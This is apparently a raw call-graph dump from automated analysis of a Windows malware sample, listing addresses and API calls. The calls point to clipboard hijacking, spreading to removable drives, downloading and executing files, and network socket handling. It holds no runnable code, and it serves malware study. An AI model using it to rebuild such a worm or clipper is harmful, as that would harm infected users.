5044->4416 5046 409550 14 API calls 5045->5046 5047 409653 LeaveCriticalSection 5046->5047 5047->4409 5049 409687 gethostbyname 5048->5049 5050 4096a3 5048->5050 5049->5050 5050->5028 5051 4093d0 inet_ntoa 5050->5051 5051->5013 5052->5019 5053->5027 5054->5018 5055->5025 5056->5033 5057->5034 5058->5038 5060 409564 5059->5060 5067 40955f 5059->5067 5061 408a10 __aligned_recalloc_base 7 API calls 5060->5061 5062 409578 5061->5062 5063 4095d4 CreateFileW 5062->5063 5062->5067 5064 409623 InterlockedExchange 5063->5064 5065 4095f7 WriteFile FlushFileBuffers CloseHandle 5063->5065 5066 408b60 _invalid_parameter 3 API calls 5064->5066 5065->5064 5066->5067 5067->5032 5069 40ba1d 5068->5069 5070 40ba81 5069->5070 5071 40ba41 WaitForSingleObject 5069->5071 5070->4423 5070->4424 5071->5069 5072 40ba5c CloseHandle 5071->5072 5072->5069 5073 40b840 5074 40b8ae 5073->5074 5075 40b857 5073->5075 5075->5074 5076 40b861 5075->5076 5077 40b8b3 5075->5077 5078 40b8fd 5075->5078 5081 4089f0 7 API calls 5076->5081 5079 40b8d8 5077->5079 5080 40b8cb InterlockedDecrement 5077->5080 5106 40a4a0 5078->5106 5083 408b60 _invalid_parameter 3 API calls 5079->5083 5080->5079 5084 40b86e 5081->5084 5085 40b8e4 5083->5085 5095 40df90 5084->5095 5087 408b60 _invalid_parameter 3 API calls 5085->5087 5087->5074 5089 40b923 5089->5074 5111 40a100 5089->5111 5125 40a5a0 5089->5125 5092 40b89b InterlockedIncrement 5092->5074 5096 40b880 5095->5096 5097 40df94 5095->5097 5099 4097e0 5096->5099 5097->5096 5098 40dfa5 InterlockedIncrement 5097->5098 5098->5096 5100 409660 2 API calls 5099->5100 5101 4097ef 5100->5101 5102 4097f9 5101->5102 5103 4097fd EnterCriticalSection 5101->5103 5102->5074 5102->5092 5104 40981c LeaveCriticalSection 5103->5104 5104->5102 5107 40a4b3 5106->5107 5108 40a4dd memcpy 5106->5108 5109 408a50 9 API calls 5107->5109 5108->5089 5110 40a4d4 5109->5110 5110->5108 5122 40a111 5111->5122 5113 40a12f 5115 408b60 _invalid_parameter 3 API calls 5113->5115 5116 40a494 5115->5116 5116->5089 5117 409e50 20 API calls 5117->5122 5119 409b50 28 API calls 5119->5122 5121 409fa0 13 API calls 5121->5122 5122->5113 5122->5117 5122->5119 5122->5121 5129 40a020 5122->5129 5136 409bc0 EnterCriticalSection 5122->5136 5141 405790 5122->5141 5146 4057d0 5122->5146 5151 4056a0 5122->5151 5158 405700 5122->5158 5126 40a5c9 5125->5126 5127 40a5be 5125->5127 5126->5127 5128 40a5e1 memmove 5126->5128 5127->5089 5128->5127 5130 40a031 lstrlenA 5129->5130 5131 40aa70 7 API calls 5130->5131 5134 40a04f 5131->5134 5132 40a05b 5133 408b60 _invalid_parameter 3 API calls 5132->5133 5135 40a0df 5132->5135 5133->5135 5134->5130 5134->5132 5135->5122 5137 409bd8 5136->5137 5138 409c14 LeaveCriticalSection 5137->5138 5161 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 5137->5161 5138->5122 5140 409c03 5140->5138 5162 405730 5141->5162 5144 40ba90 17 API calls 5145 4057c9 5144->5145 5145->5122 5147 405730 65 API calls 5146->5147 5148 4057ef 5147->5148 5150 40581c 5148->5150 5172 405650 5148->5172 5150->5122 5183 404820 EnterCriticalSection 5151->5183 5153 4056ba 5154 4056ed 5153->5154 5188 4055b0 5153->5188 5154->5122 5157 408b60 _invalid_parameter 3 API calls 5157->5154 5195 4048e0 EnterCriticalSection 5158->5195 5160 405722 5160->5122 5161->5140 5165 405743 5162->5165 5163 405780 5163->5144 5163->5145 5165->5163 5166 404730 EnterCriticalSection 5165->5166 5167 40b100 63 API calls 5166->5167 5169 404750 5167->5169 5168 4047fe LeaveCriticalSection 5168->5165 5169->5168 5170 408b60 _invalid_parameter 3 API calls 5169->5170 5171 4047fb 5170->5171 5171->5168 5175 409db0 5172->5175 5176 40a7e0 3 API calls 5175->5176 5177 409dbb 5176->5177 5178 409dd7 lstrlenA 5177->5178 5179 40aa70 7 API calls 5178->5179 5180 409e0d 5179->5180 5181 405695 5180->5181 5182 408b60 _invalid_parameter 3 API calls 5180->5182 5181->5150 5182->5181 5184 40483e 5183->5184 5185 4048ca LeaveCriticalSection 5184->5185 5186 408bd0 8 API calls 5184->5186 5185->5153 5187 40489c 5186->5187 5187->5185 5189 408a10 __aligned_recalloc_base 7 API calls 5188->5189 5190 4055c2 memcpy 5189->5190 5191 409db0 13 API calls 5190->5191 5192 40562c 5191->5192 5193 408b60 _invalid_parameter 3 API calls 5192->5193 5194 40563b 5193->5194 5194->5157 5219 40b160 5195->5219 5198 404b1e LeaveCriticalSection 5198->5160 5199 40b100 63 API calls 5200 40491b 5199->5200 5200->5198 5203 408b60 _invalid_parameter 3 API calls 5200->5203 5218 404a33 5200->5218 5201 404450 15 API calls 5204 404a5c 5201->5204 5202 408b60 _invalid_parameter 3 API calls 5205 404a7d 5202->5205 5206 404992 5203->5206 5204->5202 5205->5198 5207 404a8c CreateFileW 5205->5207 5208 408bd0 8 API calls 5206->5208 5207->5198 5209 404aaf 5207->5209 5210 4049a2 5208->5210 5213 404b0a FlushFileBuffers CloseHandle 5209->5213 5214 404acc WriteFile 5209->5214 5211 408b60 _invalid_parameter 3 API calls 5210->5211 5212 4049c9 5211->5212 5215 40aa70 7 API calls 5212->5215 5213->5198 5214->5209 5216 404a00 5215->5216 5217 405c00 10 API calls 5216->5217 5217->5218 5218->5201 5218->5204 5222 40a6b0 5219->5222 5224 40a6c3 5222->5224 5223 408bd0 8 API calls 5223->5224 5224->5223 5225 40a610 62 API calls 5224->5225 5228 4064d0 61 API calls 5224->5228 5229 40a6dd 5224->5229 5225->5224 5226 408b60 _invalid_parameter 3 API calls 5227 404904 5226->5227 5227->5198 5227->5199 5228->5224 5229->5226 5230 40d9c0 5231 40d9d5 ioctlsocket 5230->5231 5232 40daa0 5231->5232 5240 40d9fa 5231->5240 5233 408b60 _invalid_parameter 3 API calls 5232->5233 5235 40daa6 5233->5235 5234 40da89 WaitForSingleObject 5234->5231 5234->5232 5236 40da24 recvfrom 5236->5234 5236->5240 5237 408a50 9 API calls 5237->5240 5238 40da69 InterlockedExchangeAdd 5241 40d890 5238->5241 5240->5234 5240->5236 5240->5237 5240->5238 5242 40d8c5 5241->5242 5243 40d8ef 5242->5243 5244 4089f0 7 API calls 5242->5244 5251 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 5243->5251 5244->5243 5246 40d912 5252 40dd20 5246->5252 5248 40d925 5249 40d9ae 5248->5249 5250 40d99b memmove 5248->5250 5249->5240 5250->5248 5251->5246 5253 40dd32 5252->5253 5254 40dd45 memcpy 5252->5254 5255 408a50 9 API calls 5253->5255 5256 40dd61 5254->5256 5257 40dd3f 5255->5257 5256->5248 5257->5254 5624 40be00 5634 40dc60 5624->5634 5626 40be8d 5628 40be28 InterlockedExchangeAdd 5629 40be6c WaitForSingleObject 5628->5629 5630 40be0e 5628->5630 5629->5630 5631 40be85 5629->5631 5630->5626 5630->5628 5630->5629 5632 409fa0 13 API calls 5630->5632 5646 409b70 EnterCriticalSection 5630->5646 5651 40dbf0 5631->5651 5632->5630 5635 4089f0 7 API calls 5634->5635 5636 40dc6b CreateEventA socket 5635->5636 5637 40dca2 5636->5637 5638 40dca7 5636->5638 5639 40dbf0 8 API calls 5637->5639 5640 40dd0a 5638->5640 5641 40dcad bind 5638->5641 5639->5638 5640->5630 5642 40dce0 5641->5642 5643 40dcec CreateThread 5641->5643 5644 40dbf0 8 API calls 5642->5644 5643->5640 5645 40dce5 5644->5645 5645->5630 5647 409ba7 LeaveCriticalSection 5646->5647 5648 409b8f 5646->5648 5647->5630 5649 40a7a0 3 API calls 5648->5649 5650 409b9a 5649->5650 5650->5647 5652 40dc50 5651->5652 5653 40dbf4 5651->5653 5652->5626 5653->5652 5654 40dbfc SetEvent WaitForSingleObject CloseHandle 5653->5654 5659 40dc24 5654->5659 5660 40dc40 5654->5660 5656 40dc4a 5658 408b60 _invalid_parameter 3 API calls 5656->5658 5657 408b60 GetCurrentProcessId HeapValidate HeapFree _invalid_parameter 5657->5659 5658->5652 5659->5657 5659->5660 5661 4094f0 shutdown closesocket 5660->5661 5661->5656 5662 40bd80 5665 40dac0 5662->5665 5664 40bda1 5666 40dadf 5665->5666 5680 40dbd3 5665->5680 5667 408a10 __aligned_recalloc_base 7 API calls 5666->5667 5666->5680 5668 40db06 memcpy htons 5667->5668 5669 40db56 sendto 5668->5669 5675 40dbac 5668->5675 5670 40db75 InterlockedExchangeAdd 5669->5670 5671 40dba8 5669->5671 5670->5669 5673 40db8b 5670->5673 5674 40dbc9 5671->5674 5671->5675 5672 408b60 _invalid_parameter 3 API calls 5676 40dbbb 5672->5676 5677 408b60 _invalid_parameter 3 API calls 5673->5677 5678 408b60 _invalid_parameter 3 API calls 5674->5678 5675->5672 5676->5664 5679 40db9a 5677->5679 5678->5680 5679->5664 5680->5664 5258 4048c5 5259 40483e 5258->5259 5260 4048ca LeaveCriticalSection 5259->5260 5261 408bd0 8 API calls 5259->5261 5262 40489c 5261->5262 5262->5260 5681 405285 5693 40522b 5681->5693 5682 40525b lstrcmpiW 5682->5693 5683 4053d6 FindNextFileW 5685 4053f2 FindClose 5683->5685 5686 4051ff lstrcmpW 5683->5686 5684 4052c2 PathMatchSpecW 5690 4052e3 wsprintfW SetFileAttributesW DeleteFileW 5684->5690 5684->5693 5687 4053ff 5685->5687 5689 405215 lstrcmpW 5686->5689 5686->5693 5688 405340 PathFileExistsW 5691 405356 wsprintfW wsprintfW 5688->5691 5688->5693 5689->5693 5690->5693 5692 4053c0 MoveFileExW 5691->5692 5691->5693 5692->5683 5693->5682 5693->5683 5693->5684 5693->5688 5694 404df0 11 API calls 5693->5694 5694->5693 5263 40b750 5264 4097e0 4 API calls 5263->5264 5265 40b763 5264->5265 5266 40b77a 5265->5266 5268 40b5f0 InterlockedExchangeAdd 5265->5268 5269 40b60d 5268->5269 5279 40b606 5268->5279 5285 40b500 5269->5285 5272 40b62d InterlockedIncrement 5282 40b637 5272->5282 5274 40b660 5295 4093d0 inet_ntoa 5274->5295 5276 40b66c 5277 40b730 InterlockedDecrement 5276->5277 5296 4094f0 shutdown closesocket 5277->5296 5279->5266 5280 408a10 __aligned_recalloc_base 7 API calls 5280->5282 5281 40b430 6 API calls 5281->5282 5282->5274 5282->5277 5282->5280 5282->5281 5283 40a100 118 API calls 5282->5283 5284 408b60 _invalid_parameter 3 API calls 5282->5284 5292 409fa0 5282->5292 5283->5282 5284->5282 5286 40b50d socket 5285->5286 5287 40b522 htons connect 5286->5287 5288 40b57f 5286->5288 5287->5288 5289 40b56a 5287->5289 5288->5286 5290 40b573 5288->5290 5297 4094f0 shutdown closesocket 5289->5297 5290->5272 5290->5279 5293 409db0 13 API calls 5292->5293 5294 409fe1 5293->5294 5294->5282 5295->5276 5296->5279 5297->5290 5298 40b3d0 5303 40b370 5298->5303 5301 40b370 send 5302 40b3fe 5301->5302 5304 40b381 send 5303->5304 5305 40b3b5 5304->5305 5306 40b39e 5304->5306 5305->5301 5305->5302 5306->5304 5306->5305 5695 405410 Sleep GetModuleFileNameW 5696 40d070 3 API calls 5695->5696 5699 405440 5696->5699 5697 405598 ExitThread 5698 404c20 4 API calls 5698->5699 5699->5697 5699->5698 5700 405588 Sleep 5699->5700 5701 405479 5699->5701 5700->5699 5702 404bc0 4 API calls 5701->5702 5703 40548a 5702->5703 5704 4054b0 GetVolumeInformationW GetDiskFreeSpaceExW _aulldiv wsprintfW 5703->5704 5705 4054ab 5703->5705 5706 405526 wsprintfW 5704->5706 5707 40553b wsprintfW 5704->5707 5706->5707 5708 404f30 49 API calls 5707->5708 5708->5705 5709 409510 5710 409513 WaitForSingleObject 5709->5710 5711 409541 5710->5711 5712 40952b InterlockedDecrement 5710->5712 5713 40953a 5712->5713 5713->5710 5714 409640 16 API calls 5713->5714 5714->5713 5715 404110 GetWindowLongW 5716 404134 5715->5716 5717 404156 5715->5717 5718 404141 5716->5718 5719 4041c7 IsClipboardFormatAvailable 5716->5719 5720 404151 5717->5720 5721 4041a6 5717->5721 5722 40418e SetWindowLongW 5717->5722 5725 404164 SetClipboardViewer SetWindowLongW 5718->5725 5726 404147 5718->5726 5723 4041e3 IsClipboardFormatAvailable 5719->5723 5724 4041da 5719->5724 5727 404344 DefWindowProcA 5720->5727 5721->5720 5728 4041ac SendMessageA 5721->5728 5722->5720 5723->5724 5729 4041f8 IsClipboardFormatAvailable 5723->5729 5731 404215 OpenClipboard 5724->5731 5732 4042dc 5724->5732 5725->5727 5726->5720 5730 4042fd RegisterRawInputDevices ChangeClipboardChain 5726->5730 5728->5720 5729->5724 5730->5727 5731->5732 5734 404225 GetClipboardData 5731->5734 5732->5720 5733 4042e5 SendMessageA 5732->5733 5733->5720 5734->5720 5735 40423d GlobalLock 5734->5735 5735->5720 5736 404255 5735->5736 5737 404268 5736->5737 5738 404289 5736->5738 5739 40429e 5737->5739 5740 40426e 5737->5740 5741 403f20 13 API calls 5738->5741 5756 404040 5739->5756 5742 404274 GlobalUnlock CloseClipboard 5740->5742 5750 403e60 5740->5750 5741->5742 5742->5732 5746 4042c7 5742->5746 5764 403480 lstrlenW 5746->5764 5749 408b60 _invalid_parameter 3 API calls 5749->5732 5753 403e6b 5750->5753 5751 403e71 lstrlenW 5751->5753 5755 403e84 5751->5755 5752 408a10 __aligned_recalloc_base 7 API calls 5752->5753 5753->5751 5753->5752 5754 403ea1 lstrcpynW 5753->5754 5753->5755 5754->5753 5754->5755 5755->5742 5761 40404d 5756->5761 5757 404053 lstrlenA 5757->5761 5762 404066 5757->5762 5758 403e00 2 API calls 5758->5761 5759 408a10 __aligned_recalloc_base 7 API calls 5759->5761 5761->5757 5761->5758 5761->5759 5761->5762 5763 408b60 _invalid_parameter 3 API calls 5761->5763 5801 403ff0 5761->5801 5762->5742 5763->5761 5771 4034b4 5764->5771 5765 40364a 5765->5749 5766 403853 StrStrW 5767 403866 5766->5767 5768 40386a StrStrW 5766->5768 5767->5768 5769 403881 StrStrW 5768->5769 5770 40387d 5768->5770 5775 403894 5769->5775 5770->5769 5771->5765 5772 403750 StrStrW 5771->5772 5778 40365c 5771->5778 5774 40377b StrStrW 5772->5774 5772->5778 5773 4038fe isalpha 5773->5775 5776 403915 isdigit 5773->5776 5777 4037a6 StrStrW 5774->5777 5774->5778 5775->5765 5775->5773 5787 403938 5775->5787 5776->5765 5776->5775 5777->5778 5778->5765 5778->5766 5779 403c6d StrStrW 5781 403c80 5779->5781 5782 403c87 StrStrW 5779->5782 5780 403c1f StrStrW 5783 403c32 5780->5783 5784 403c39 StrStrW 5780->5784 5781->5782 5785 403ca1 StrStrW 5782->5785 5786 403c9a 5782->5786 5783->5784 5788 403c53 StrStrW 5784->5788 5789 403c4c 5784->5789 5791 403cb4 5785->5791 5792 403cbb StrStrW 5785->5792 5786->5785 5787->5779 5787->5780 5788->5779 5790 403c66 5788->5790 5789->5788 5790->5779 5791->5792 5793 403cd5 StrStrW 5792->5793 5794 403cce 5792->5794 5795 403ce8 lstrlenA 5793->5795 5794->5793 5795->5765 5797 403d7b GlobalAlloc 5795->5797 5797->5765 5798 403d96 GlobalLock 5797->5798 5798->5765 5799 403da9 memcpy GlobalUnlock OpenClipboard 5798->5799 5799->5765 5800 403dd6 EmptyClipboard SetClipboardData CloseClipboard 5799->5800 5800->5765 5802 403ffb 5801->5802 5803 404001 lstrlenA 5802->5803 5804 403e00 2 API calls 5802->5804 5805 404034 5802->5805 5803->5802 5804->5802 5805->5761 5806 40b990 5812 40eb80 5806->5812 5809 40b9d0 5810 40b9b7 WaitForSingleObject 5816 40dfd0 5810->5816 5813 40b9a6 5812->5813 5814 40eb87 5812->5814 5813->5809 5813->5810 5814->5813 5837 40e9f0 5814->5837 5817 40e102 5816->5817 5818 40dfd8 5816->5818 5817->5809 5818->5817 5819 40dfe4 EnterCriticalSection 5818->5819 5820 40e080 LeaveCriticalSection SetEvent 5819->5820 5821 40dffb 5819->5821 5822 40e0b3 5820->5822 5823 40e09b 5820->5823 5821->5820 5824 40e00c InterlockedDecrement 5821->5824 5827 40e025 InterlockedExchangeAdd 5821->5827 5835 40e06b InterlockedDecrement 5821->5835 5858 40bb80 GetCurrentThread GetThreadPriority GetCurrentThread SetThreadPriority 5822->5858 5825 40e0a1 PostQueuedCompletionStatus 5823->5825 5824->5821 5825->5822 5825->5825 5827->5821 5829 40e038 InterlockedIncrement 5827->5829 5828 40e0be 5867 40bcc0 5828->5867 5831 40e620 4 API calls 5829->5831 5831->5821 5834 40e0ef DeleteCriticalSection 5836 408b60 _invalid_parameter 3 API calls 5834->5836 5835->5821 5836->5817 5838 4089f0 7 API calls 5837->5838 5839 40e9fb 5838->5839 5840 40ea08 GetSystemInfo InitializeCriticalSection CreateEventA 5839->5840 5846 40eb74 5839->5846 5841 40ea46 CreateIoCompletionPort 5840->5841 5842 40eb6f 5840->5842 5841->5842 5843 40ea5f 5841->5843 5844 40dfd0 36 API calls 5842->5844 5845 40b9e0 8 API calls 5843->5845 5844->5846 5847 40ea64 5845->5847 5846->5813 5847->5842 5848 40ea6f WSASocketA 5847->5848 5848->5842 5849 40ea8d setsockopt htons bind 5848->5849 5849->5842 5850 40eaf6 listen 5849->5850 5850->5842 5851 40eb0a WSACreateEvent 5850->5851 5851->5842 5852 40eb17 WSAEventSelect 5851->5852 5852->5842 5856 40eb29 5852->5856 5853 40eb4f 5855 40ba90 17 API calls 5853->5855 5854 40ba90 17 API calls 5854->5856 5857 40eb64 5855->5857 5856->5853 5856->5854 5857->5813 5859 40bbb6 InterlockedExchangeAdd 5858->5859 5860 40bc99 GetCurrentThread SetThreadPriority 5858->5860 5859->5860 5861 40bbd0 5859->5861 5860->5828 5861->5860 5862 40bbe9 EnterCriticalSection 5861->5862 5863 40bc57 LeaveCriticalSection 5861->5863 5864 40bc33 WaitForSingleObject 5861->5864 5865 40bc6e 5861->5865 5866 40bc8c Sleep 5861->5866 5862->5861 5863->5861 5863->5865 5864->5861 5865->5860 5866->5861 5868 40bd42 CloseHandle CloseHandle WSACloseEvent 5867->5868 5869 40bccc EnterCriticalSection 5867->5869 5876 4094f0 shutdown closesocket 5868->5876 5870 40bce8 5869->5870 5871 40bd10 LeaveCriticalSection DeleteCriticalSection 5870->5871 5872 40bcfb CloseHandle 5870->5872 5873 408b60 _invalid_parameter 3 API calls 5871->5873 5872->5870 5874 40bd36 5873->5874 5875 408b60 _invalid_parameter 3 API calls 5874->5875 5875->5868 5876->5834 5877 40b790 5880 40b794 5877->5880 5878 409b70 5 API calls 5878->5880 5879 40b7b0 WaitForSingleObject 5879->5880 5882 40b7d5 5879->5882 5880->5878 5880->5879 5881 40b5f0 132 API calls 5880->5881 5880->5882 5881->5880 5307 40ebd8 5308 40ebe0 5307->5308 5310 40ec94 5308->5310 5313 40ee1d 5308->5313 5312 40ec19 5312->5310 5317 40ed08 RtlUnwind 5312->5317 5314 40ee32 5313->5314 5316 40ee4e 5313->5316 5315 40eebd NtQueryVirtualMemory 5314->5315 5314->5316 5315->5316 5316->5312 5318 40ed20 5317->5318 5318->5312 5319 405c60 5320 405cbf Sleep 5319->5320 5325 405cd6 5320->5325 5321 405d56 Sleep 5321->5320 5322 405cee Sleep wsprintfA 5326 40d330 InternetOpenA 5322->5326 5325->5321 5325->5322 5333 40d3e0 GetTickCount srand ExpandEnvironmentStringsW 5325->5333 5327 40d356 InternetOpenUrlA 5326->5327 5328 40d3c8 Sleep 5326->5328 5329 40d375 HttpQueryInfoA 5327->5329 5330 40d3be InternetCloseHandle 5327->5330 5328->5325 5331 40d3b4 InternetCloseHandle 5329->5331 5332 40d39e 5329->5332 5330->5328 5331->5330 5332->5331 5334 40d42e 5333->5334 5334->5334 5335 40d44c mbstowcs rand rand wsprintfW InternetOpenW 5334->5335 5336 40d650 InternetCloseHandle Sleep 5335->5336 5337 40d4e5 InternetOpenUrlW 5335->5337 5340 40d775 5336->5340 5341 40d677 6 API calls 5336->5341 5338 40d643 InternetCloseHandle 5337->5338 5339 40d514 CreateFileW 5337->5339 5338->5336 5342 40d543 InternetReadFile 5339->5342 5343 40d636 CloseHandle 5339->5343 5340->5325 5341->5340 5344 40d6f9 wsprintfW DeleteFileW Sleep 5341->5344 5345 40d596 CloseHandle wsprintfW DeleteFileW Sleep 5342->5345 5346 40d567 5342->5346 5343->5338 5347 40d0c0 20 API calls 5344->5347 5363 40d0c0 CreateFileW 5345->5363 5346->5345 5348 40d570 WriteFile 5346->5348 5350 40d739 5347->5350 5348->5342 5352 40d743 Sleep 5350->5352 5353 40d777 DeleteFileW 5350->5353 5356 40d280 5 API calls 5352->5356 5353->5340 5354 40d629 DeleteFileW 5354->5343 5355 40d5ed Sleep 5357 40d280 5 API calls 5355->5357 5358 40d75a 5356->5358 5359 40d604 5357->5359 5358->5340 5361 40d76d ExitProcess 5358->5361 5360 40d620 5359->5360 5362 40d618 ExitProcess 5359->5362 5360->5343 5364 40d213 5363->5364 5365 40d107 CreateFileMappingW 5363->5365 5366 40d219 CreateFileW 5364->5366 5367 40d26a 5364->5367 5368 40d128 MapViewOfFile 5365->5368 5369 40d209 CloseHandle 5365->5369 5372 40d261 5366->5372 5373 40d23b WriteFile CloseHandle 5366->5373 5367->5354 5367->5355 5370 40d147 GetFileSize 5368->5370 5371 40d1ff CloseHandle 5368->5371 5369->5364 5374 40d163 5370->5374 5375 40d1f5 UnmapViewOfFile 5370->5375 5371->5369 5376 408b60 _invalid_parameter 3 API calls 5372->5376 5373->5372 5383 40b0d0 5374->5383 5375->5371 5376->5367 5379 40aa70 7 API calls 5380 40d1ae 5379->5380 5380->5375 5381 408b60 _invalid_parameter 3 API calls 5380->5381 5382 40d1eb 5381->5382 5382->5375 5384 40ab60 10 API calls 5383->5384 5385 40b0f4 5384->5385 5385->5375 5385->5379 5386 40b7e0 5391 40e530 5386->5391 5388 40b7f5 5389 40e530 16 API calls 5388->5389 5390 40b813 5388->5390 5389->5390 5392 40e60b 5391->5392 5393 40e540 5391->5393 5392->5388 5393->5392 5394 4089f0 7 API calls 5393->5394 5395 40e568 5394->5395 5395->5392 5396 408bd0 8 API calls 5395->5396 5397 40e594 5396->5397 5398 40e5b0 5397->5398 5399 40e5a1 5397->5399 5411 40e4b0 WSASend 5398->5411 5400 408b60 _invalid_parameter 3 API calls 5399->5400 5402 40e5a7 5400->5402 5402->5388 5403 40e5bd 5404 40e5c6 EnterCriticalSection 5403->5404 5405 40e5fc 5403->5405 5406 40e5e9 LeaveCriticalSection 5404->5406 5407 40e5dd 5404->5407 5408 408b60 _invalid_parameter 3 API calls 5405->5408 5406->5388 5407->5406 5409 40e605 5408->5409 5410 408b60 _invalid_parameter 3 API calls 5409->5410 5410->5392 5412 40e520 5411->5412 5413 40e4e2 WSAGetLastError 5411->5413 5412->5403 5413->5412 5414 40e4ef 5413->5414 5415 40e526 5414->5415 5416 40e4f6 Sleep WSASend 5414->5416 5415->5403 5416->5412 5416->5413 5417 404360 5418 404369 memset GetModuleHandleW 5417->5418 5419 4043a2 Sleep GetTickCount GetTickCount wsprintfW RegisterClassExW 5418->5419 5419->5419 5420 4043e0 CreateWindowExW 5419->5420 5421 40440b 5420->5421 5422 40440d GetMessageA 5420->5422 5425 40443f ExitThread 5421->5425 5423 404421 TranslateMessage DispatchMessageA 5422->5423 5424 404437 5422->5424 5423->5422 5424->5418 5424->5425 5426 405b60 5427 405b71 5426->5427 5428 405bc7 5426->5428 5429 405bc5 5427->5429 5432 405b80 StrChrA 5427->5432 5434 40d3e0 60 API calls 5427->5434 5428->5429 5430 40d3e0 60 API calls 5428->5430 5431 408b60 _invalid_parameter 3 API calls 5429->5431 5430->5429 5433 405bf2 5431->5433 5432->5427 5435 405baf Sleep 5434->5435 5435->5427 5436 40ebe0 5437 40ebfe 5436->5437 5440 40ec94 5436->5440 5438 40ee1d NtQueryVirtualMemory 5437->5438 5439 40ec19 5438->5439 5439->5440 5441 40ed08 RtlUnwind 5439->5441 5441->5439 5442 40dde0 5443 40de70 5442->5443 5444 40ddf7 5442->5444 5445 40de07 5444->5445 5446 40de25 EnterCriticalSection 5444->5446 5447 40de5c LeaveCriticalSection DeleteCriticalSection 5446->5447 5450 40de3d 5446->5450 5448 408b60 _invalid_parameter 3 API calls 5447->5448 5448->5443 5449 408b60 GetCurrentProcessId HeapValidate HeapFree _invalid_parameter 5449->5450 5450->5449 5451 40de5b 5450->5451 5451->5447 5895 40bea0 5901 40d790 5895->5901 5897 40beb7 5898 40bee1 5897->5898 5899 40bec8 WaitForSingleObject 5897->5899 5900 40dbf0 8 API calls 5899->5900 5900->5898 5902 40d79e 5901->5902 5909 40d87e 5901->5909 5903 4089f0 7 API calls 5902->5903 5902->5909 5904 40d7ae CreateEventA socket 5903->5904 5905 40d7e5 5904->5905 5906 40d7ea 5904->5906 5907 40dbf0 8 API calls 5905->5907 5908 40d7f4 htons setsockopt bind 5906->5908 5906->5909 5907->5906 5910 40d864 CreateThread 5908->5910 5911 40d858 5908->5911 5909->5897 5910->5909 5912 40dbf0 8 API calls 5911->5912 5913 40d85d 5912->5913 5913->5897 5914 40e920 GetQueuedCompletionStatus 5915 40e962 5914->5915 5920 40e9d8 5914->5920 5916 40e967 WSAGetOverlappedResult 5915->5916 5921 40e730 5915->5921 5916->5915 5917 40e989 WSAGetLastError 5916->5917 5917->5915 5919 40e9a3 GetQueuedCompletionStatus 5919->5915 5919->5920 5922 40e8c2 InterlockedDecrement setsockopt closesocket 5921->5922 5923 40e744 5921->5923 5940 40e809 5922->5940 5923->5922 5924 40e74c 5923->5924 5941 40bd50 NtQuerySystemTime RtlTimeToSecondsSince1980 5924->5941 5926 40e751 InterlockedExchange 5927 40e768 5926->5927 5928 40e81e 5926->5928 5931 40e779 InterlockedDecrement 5927->5931 5932 40e78c InterlockedDecrement InterlockedExchangeAdd 5927->5932 5927->5940 5929 40e837 5928->5929 5930 40e827 InterlockedDecrement 5928->5930 5933 40e842 5929->5933 5934 40e857 InterlockedDecrement 5929->5934 5930->5919 5931->5919 5937 40e7ff 5932->5937 5935 40e4b0 4 API calls 5933->5935 5936 40e8b9 5934->5936 5938 40e84e 5935->5938 5936->5919 5939 40e6c0 7 API calls 5937->5939 5938->5919 5939->5940 5940->5919 5941->5926 5452 405466 5456 405448 5452->5456 5453 405588 Sleep 5453->5456 5454 405479 5471 404bc0 5454->5471 5456->5453 5456->5454 5457 405598 ExitThread 5456->5457 5465 404c20 GetLogicalDrives 5456->5465 5460 4054b0 GetVolumeInformationW GetDiskFreeSpaceExW _aulldiv wsprintfW 5462 405526 wsprintfW 5460->5462 5463 40553b wsprintfW 5460->5463 5461 4054ab 5462->5463 5477 404f30 _chkstk 5463->5477 5470 404c4d 5465->5470 5466 404cc6 5466->5456 5467 404c5c RegOpenKeyExW 5468 404c7e RegQueryValueExW 5467->5468 5467->5470 5469 404cba RegCloseKey 5468->5469 5468->5470 5469->5470 5470->5466 5470->5467 5470->5469 5472 404c19 5471->5472 5473 404bdc 5471->5473 5472->5460 5472->5461 5512 404b40 GetDriveTypeW 5473->5512 5476 404c0b lstrcpyW 5476->5472 5478 404f47 5477->5478 5479 404f4e 6 API calls 5477->5479 5478->5461 5480 405002 5479->5480 5481 405044 PathFileExistsW 5479->5481 5517 40d070 CreateFileW 5480->5517 5483 4050c0 PathFileExistsW 5481->5483 5484 405055 PathFileExistsW 5481->5484 5488 4050d1 5483->5488 5489 405116 FindFirstFileW 5483->5489 5486 405066 CreateDirectoryW 5484->5486 5487 405088 PathFileExistsW 5484->5487 5486->5487 5491 405079 SetFileAttributesW 5486->5491 5487->5483 5492 405099 CopyFileW 5487->5492 5493 4050f1 5488->5493 5494 4050d9 5488->5494 5489->5478 5505 40513d 5489->5505 5490 405025 SetFileAttributesW DeleteFileW 5490->5481 5491->5487 5492->5483 5497 4050b1 SetFileAttributesW 5492->5497 5495 404ce0 3 API calls 5493->5495 5520 404ce0 CoInitialize CoCreateInstance 5494->5520 5499 4050ec SetFileAttributesW 5495->5499 5496 4051ff lstrcmpW 5500 405215 lstrcmpW 5496->5500 5496->5505 5497->5483 5499->5489 5500->5505 5502 4053d6 FindNextFileW 5502->5496 5503 4053f2 FindClose 5502->5503 5503->5478 5504 40525b lstrcmpiW 5504->5505 5505->5496 5505->5502 5505->5504 5506 4052c2 PathMatchSpecW 5505->5506 5507 405340 PathFileExistsW 5505->5507 5524 404df0 CreateDirectoryW wsprintfW FindFirstFileW 5505->5524 5506->5505 5508 4052e3 wsprintfW SetFileAttributesW DeleteFileW 5506->5508 5507->5505 5509 405356 wsprintfW wsprintfW 5507->5509 5508->5505 5509->5505 5510 4053c0 MoveFileExW 5509->5510 5510->5502 5513 404b7a 5512->5513 5514 404b68 5512->5514 5513->5472 5513->5476 5514->5513 5515 404b7c QueryDosDeviceW 5514->5515 5515->5513 5516 404b96 StrCmpNW 5515->5516 5516->5513 5518 40500e 5517->5518 5519 40d09f GetFileSize CloseHandle 5517->5519 5518->5481 5518->5490 5519->5518 5521 404d16 5520->5521 5523 404d52 5520->5523 5522 404d20 wsprintfW 5521->5522 5521->5523 5522->5523 5523->5499 5525 404e45 lstrcmpW 5524->5525 5526 404f1f 5524->5526 5527 404e71 5525->5527 5528 404e5b lstrcmpW 5525->5528 5526->5505 5530 404eec FindNextFileW 5527->5530 5528->5527 5529 404e73 wsprintfW wsprintfW 5528->5529 5529->5527 5532 404ed6 MoveFileExW 5529->5532 5530->5525 5531 404f08 FindClose RemoveDirectoryW 5530->5531 5531->5526 5532->5530 5533 405d66 